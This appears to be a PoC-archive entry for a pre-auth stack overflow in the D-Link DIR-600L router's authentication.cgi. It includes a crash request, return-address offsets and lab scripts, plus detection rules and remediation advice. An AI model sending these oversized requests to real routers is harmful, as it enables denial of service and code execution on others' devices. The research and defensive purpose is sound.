PoC Archive PoC Archive
CVE-2026-129353 category: network CVSS 10 (CRITICAL)
Unverified

D-Link DIR-600L authentication.cgi Pre-Auth Stack Buffer Overflow (CVE-2026-129353)

Published: 2026-11-25 • Researcher: googlesky (Lê Hiếu), laboratory and differential PoC; ruanyi (VulDB user ruanyi101), original advisory and disclosure

Target software D-Link DIR-600L wireless router (hardware revision B1, shared DIR-600Bx platform image), web login handler htdocs/web/authentication.cgi backed by the multi-call binary htdocs/cgibin
Affected versions Firmware 2.17 and 2.17b02 (the image re-hosted in the lab is DIR-600Bx_FW217b02.bin, MD5 2f953ec274caeab6bc643045da56ab29, matching the upstream advisory). NVD records only the 2.17 line; no version ranges are listed.
Status PoC
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-129353 (VulDB 437416)
Category
network
Affected product
D-Link DIR-600L wireless router (hardware revision B1, shared DIR-600Bx platform image), web login handler htdocs/web/authentication.cgi backed by the multi-call binary htdocs/cgibin
Affected versions
Firmware 2.17 and 2.17b02 (the image re-hosted in the lab is DIR-600Bx_FW217b02.bin, MD5 2f953ec274caeab6bc643045da56ab29, matching the upstream advisory). NVD records only the 2.17 line; no version ranges are listed.
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / Researchergooglesky (Lê Hiếu), laboratory and differential PoC; ruanyi (VulDB user ruanyi101), original advisory and disclosure
CVE / AdvisoryCVE-2026-129353 (VulDB 437416)
Categorynetwork
SeverityCritical
CVSS Score10.0 — CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (VulDB)
StatusPoC
Tagsdlink, dir-600l, router, mips, firmware, stack-buffer-overflow, cwe-121, pre-auth, qemu-user, iot
RelatedN/A

Affected Target

FieldValue
Software / SystemD-Link DIR-600L wireless router (hardware revision B1, shared DIR-600Bx platform image), web login handler htdocs/web/authentication.cgi backed by the multi-call binary htdocs/cgibin
Versions AffectedFirmware 2.17 and 2.17b02 (the image re-hosted in the lab is DIR-600Bx_FW217b02.bin, MD5 2f953ec274caeab6bc643045da56ab29, matching the upstream advisory). NVD records only the 2.17 line; no version ranges are listed.
Language / PlatformC, 32-bit MIPS-I little-endian (mipsel), uClibc 0.9.30.1, stripped non-PIE ELF; reproduced under qemu-mipsel-static in a container
Authentication RequiredNo
Network Access RequiredYes (LAN side by default; WAN side if remote management is exposed)

Summary

CVE-2026-129353 is a pre-authentication stack-based buffer overflow in the D-Link DIR-600L web login handler. The handler copies the URL query parameters id and password into fixed 1024-byte stack buffers with unbounded strcpy calls before any credential or session check, so a single unauthenticated HTTP request with an over-long parameter corrupts the CGI child process. The shipped binary crashes reproducibly at fault address 0x47474747 with a long id, and this repository’s lab, which re-hosts the MD5-verified vendor firmware under qemu-mipsel, further proves saved return address control with an attacker-chosen program counter of 0x42424242. The device is end-of-life and no vendor fix exists or will exist (D-Link SAP10393).

Vulnerability Details

Root Cause

authenticationcgi_main in the shipped htdocs/cgibin declares two 1024-byte stack buffers and copies the id and password request parameters into them with unbounded strcpy(), immediately at function entry and before any authentication or session validation:

C source
1
2
3
4
5
char local_820[1024];   /* id destination      */
char local_420[1024];   /* password destination */
...
strcpy(local_820, sobj_get_string(parse_uri(FUN_0040bf8c, "id")));
strcpy(local_420, sobj_get_string(parse_uri(FUN_0040bf8c, "password")));

The parameters come from parse_uri (0x00403d84), which reads the REQUEST_URI environment variable, takes everything after the first ?, splits it on & and =, and imposes no length limit. The saved return address ($ra) sits 2536 bytes above local_820, past several saved stack pointers. The same flaw recurs in a POST storage-account branch where 128-byte buffers receive the same parameters. The advisory class is CWE-121 (stack-based buffer overflow) with CWE-119 (memory corruption).

Attack Vector

An unauthenticated network attacker sends a single request to /web/authentication.cgi (or the webfa_authentication.cgi alias, which dispatches to the same handler) with an over-long id or password value in the URL query string. The device’s boa httpd sets REQUEST_URI for GET and POST alike, so the query-string sink fires on either method; a POST body alone does not reach parse_uri. An id of about 2100 bytes corrupts a stack pointer and faults on the next dereference, and a NUL-free, pointer-preserving fill of 2536 bytes reaches the saved $ra.

Impact

Pre-authentication memory corruption of the login CGI with demonstrated instruction-pointer control. With the shipped binary every request carrying an over-long parameter kills the CGI child (SIGSEGV, HTTP 500-class response) while the httpd parent keeps serving, giving a reliable denial of service; on exploitation of the return-address primitive, arbitrary code execution as the web server on the device (which runs as root) is the expected outcome. The PoC itself stops at control of the program counter and does not ship a code-execution payload.

Environment / Lab Setup

Output
OS:          Linux x86_64 host running Podman (Docker-compatible)
Target:      cve-2026-129353:lab container (Debian bookworm-slim + qemu-user-static),
             re-hosting the extracted DIR-600L 2.17b02 rootfs at /firmware.
             Vulnerable side: LAB_BOUNDS_SHIM=0 (firmware exactly as shipped).
             Remediated side: LAB_BOUNDS_SHIM=1 (same binary + bounds-enforcing shim).
Attacker:    python:3.12-alpine PoC container (stdlib only), same cve129353lab network
Tools:       podman, qemu-mipsel-static 7.2.22, sasquatch/binwalk, mipsel-linux-gnu-gcc,
             strace (via qemu -strace), Ghidra 12.1.4 for the decompilation

Setup Steps

The lab fetches the vendor firmware at image build time and enforces its MD5, so the image and the binary are the real vendor artefacts rather than a re-implementation. Nothing executes on the host; the guest runs only inside the container chroot.

Shell script
1
2
3
4
5
6
7
./run-lab.sh build     # fetch + MD5-verify firmware, extract squashfs, build lab + PoC images
./run-lab.sh up        # create the cve129353lab network, start router-vuln and router-fixed
./run-lab.sh sweep     # run check / exploit / probe / mitigation against both sides
./run-lab.sh down      # tear everything down

podman run --rm --network cve129353lab cve-2026-129353-poc:local \
    exploit --host=router-vuln

Requirements: Podman (or Docker) with network-creation rights, outbound HTTPS for the firmware download, and roughly 4 GB RAM plus 2 CPUs per router container. Captured runs are in evidence/.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the environment — build the images and start both router containers with ./run-lab.sh build and ./run-lab.sh up. The front end (lab/service.py) forks the guest CGI per request, mirroring boa, and returns a JSON document with the child’s exit status, signal, fault address and strace tail.
  2. Baseline crash (advisory signature) — deliver a 3000-byte 'G' fill as the id query parameter to /web/authentication.cgi. The CGI child dies with SIGSEGV at si_addr=0x47474747, exactly the signature in the upstream advisory’s capture.
    Shell script
    1
    2
    
    podman run --rm --network cve129353lab cve-2026-129353-poc:local \
        check --host=router-vuln
  3. Locate the saved return address — exploit stage 2 sweeps candidate offsets around the calibrated 2600-byte window with a NUL-free pointer-preserving fill (0x3ff6cd44, bytes into the always-mapped uClibc text region) and writes the marker 0x42424242 at each candidate. The pointers stay valid until the epilogue, so execution reaches jr $ra.
    Shell script
    1
    2
    
    podman run --rm --network cve129353lab cve-2026-129353-poc:local \
        exploit --host=router-vuln
  4. Confirm control — when the faulting address equals the marker, the saved $ra is proven attacker-controlled. The captured run reports the overwrite at offset 2536 (0x9e8) with faulting PC 0x42424242.
  5. Differential on the remediated side — repeat against --host=router-fixed, where the same binary is loaded with LD_PRELOAD=/usr/lib/bndshim.so (bounded strcpy/sprintf, cap 256). No crash occurs at any length, confirming that the crashes are exactly the unbounded copies.
  6. Boundary and delivery matrix (optional) — probe checks query versus body delivery, id versus password, the webfa_authentication.cgi alias, lengths 1023/1024/2048/2100/2600, and the HNAP surface of sibling CVE-2026-129354.

Exploit Code

See exploit/exploit.py (standalone full chain: crash, then saved-RA control) and poc/poc.py (stdlib-only check / exploit / probe / mitigation driver). Both are archived from the upstream repository unchanged apart from the research-only header.

The minimal delivery shape is a single GET whose query carries the payload:

Python
1
2
3
4
5
6
7
8
9
import urllib.parse, urllib.request

TARGET = "http://router-vuln:8080"
payload = {"id": "A" * 3000, "password": "x"}   # 'G' fill reproduces 0x47474747
url = TARGET + "/web/authentication.cgi?" + urllib.parse.urlencode(payload)
try:
    print(urllib.request.urlopen(url, timeout=30).read())
except Exception as e:
    print("request ended as expected:", e)

Expected Output

Output
1
2
3
4
5
6
7
[*] stage 1 — baseline crash with 'G' fill (advisory signature)
[+] CGI child SIGSEGV, si_addr=0x47474747
    | --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x47474747} ---
[*] stage 2 — saved-$ra control with pointer-preserving fill (calibrated offset 2600, sweep ±64)
[+] saved return address overwritten at offset 2536 (0x9e8); faulting PC == 0x42424242 (attacker-chosen)
    | --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
[+] RESULT: pre-auth stack overflow with instruction-pointer control

Captured verbatim in evidence/exploit-vuln-run.txt; the baseline run is in evidence/check-vuln-run.txt.

Screenshots / Evidence

Detection & Indicators of Compromise

  • Requests to /web/authentication.cgi or /web/webfa_authentication.cgi whose query string contains an id or password value longer than roughly 1024 bytes (the buffer size), especially repeated fills of the same byte such as long runs of G.
  • HTTP 500-class responses or connection resets for the login page, or CGI child processes dying with SIGSEGV while the httpd keeps serving (one crash per request is the characteristic pattern).
  • Fault addresses containing the attacker fill: 0x47474747 (GGGG) or an attacker-chosen marker such as 0x42424242; in the emulated lab the qemu strace shows SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x47474747}.
  • Repeated login requests from one source with oversized id/password parameters, or a length sweep against the same endpoint — the lab’s stage 2 sweeps offsets at 4- and 16-byte strides.
  • On the device: kernel or httpd logs for SIGSEGV in cgibin, /var/log/messages crash entries, and watchdog reboots under sustained probing.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-129353 D-Link DIR-600L oversized authentication.cgi id"; \
  flow:to_server,established; content:"/web/authentication.cgi"; http_uri; \
  pcre:"/\?(?:[^#]*&)?(?:id|password)=[^&]{1024,}/i"; sid:9001293;)

Remediation

ActionDetail
PatchNone available or expected. The DIR-600L is end-of-life; D-Link SAP10393 states all DIR-600/605/605L revisions are EOS with no further firmware. Replace the device or move it to an isolated, untrusted segment.
WorkaroundDo not expose the web management interface to WAN or untrusted LANs. Where the device must stay in service, put a reverse proxy or ingress ACL in front of it that caps request-URI length (the lab’s effective mitigation is a cap below the 1024-byte buffer, e.g. 8192 bytes on the whole request) and rejects over-long id/password values.
Config HardeningDisable remote management, restrict port 80/443 to an administrative VLAN via firewall rules, monitor the login endpoint for oversized parameters and CGI child crashes, and treat any DIR-600L on the network as compromised-capable hardware awaiting retirement.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-129353 on 2026-11-25.

Review verdict: this is a genuine exploit PoC, not a detector, scanner, audit kit or inventory tool. The repository ships a standalone full-chain exploit (exploit/exploit.py) plus a stdlib-only driver (poc/poc.py) that triggers the overflow on the real vendor binary, reproduces the advisory crash signature, and demonstrates saved return address control with an attacker-chosen program counter. It also provides a bounded-shim differential as the remediation shape. Copied files are the exploit driver, the lab front end, the firmware fetch/extraction script, the shim, the container build files and three captured evidence runs; the .git directory, the fetched firmware blobs and the excluded TRACKING.md working record were not copied. Upstream README, taken verbatim, is in upstream-README.md.

License: MIT (Copyright (c) 2026 Lê Hiếu), included as LICENSE. Attribution to googlesky and to ruanyi (ruanyi101) for the original advisory is preserved.

Limitations: the PoC is lab-only and drives the container re-host of the firmware under qemu-mipsel rather than physical hardware. The demonstrated primitive is memory corruption with instruction-pointer control; no shellcode or arbitrary command execution payload is shipped, and exploiting the saved-$ra overwrite on real hardware additionally requires knowledge of the target’s memory layout and a suitable gadget or shellcode location. The offset was calibrated for this exact firmware image (DIR-600Bx_FW217b02.bin, htdocs/cgibin MD5 e7016496219d73b3be39cad163995fcc); other builds may differ. The container build needs outbound HTTPS to fetch the firmware and enforces its MD5. EPSS reported with the worklist record is 0.01917. Category was chosen as network rather than the supplied binary hint: the affected asset is a router management interface and the attack vector is a remote unauthenticated HTTP request, matching the archive’s convention for router firmware overflows. The sibling CVE-2026-129354 (HNAP SOAPAction) is out of scope for this entry. Run only against devices you own or have written authorization to test.

run-lab.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env bash
# Environment driver for the CVE-2026-129353 lab.
#
#   ./run-lab.sh build    build the lab image (fetches + verifies the firmware)
#   ./run-lab.sh up       create the network and both routers (vuln / fixed)
#   ./run-lab.sh sweep    run the PoC in every mode against both sides
#   ./run-lab.sh down     stop and remove everything
set -euo pipefail

CVE="CVE-2026-129353"
NET="cve129353lab"
IMAGE="cve-2026-129353:lab"
POC_IMAGE="cve-2026-129353-poc:local"
HERE="$(cd "$(dirname "$0")" && pwd)"

build() {
    podman build -f "$HERE/lab/lab.Dockerfile" -t "$IMAGE" "$HERE/lab"
    podman build -t "$POC_IMAGE" "$HERE/poc"
}

up() {
    podman network create "$NET" 2>/dev/null || true
    # Vulnerable side: the firmware binary exactly as shipped.
    podman run -d --name router-vuln --network "$NET" \
        --cpus 2 --memory 4g -e LAB_BOUNDS_SHIM=0 "$IMAGE"
    # Remediated side: same binary, bounds-enforcing libc interposition
    # (the device is EOL; no vendor patch exists).
    podman run -d --name router-fixed --network "$NET" \
        --cpus 2 --memory 4g -e LAB_BOUNDS_SHIM=1 "$IMAGE"
}

poc() {
    local target="$1"; shift
    podman run --rm --network "$NET" --cpus 2 --memory 512m \
        "$POC_IMAGE" "$@" --host="$target"
}

sweep() {
    for mode in check exploit probe mitigation; do
        for side in vuln fixed; do
            echo "================ $mode / router-$side ================"
            set +e
            podman run --rm --network "$NET" --cpus 2 --memory 512m \
                "$POC_IMAGE" "$mode" "--host=router-$side" | tee "$HERE/evidence/${mode}-${side}-run.txt"
            echo "exit: $?"
            set -e
        done
    done
}

down() {
    podman rm -f router-vuln router-fixed 2>/dev/null || true
    podman network rm "$NET" 2>/dev/null || true
}

case "${1:-}" in
    build) build ;;
    up) up ;;
    sweep) mkdir -p "$HERE/evidence"; sweep ;;
    down) down ;;
    *) echo "usage: $0 build|up|sweep|down"; exit 2 ;;
esac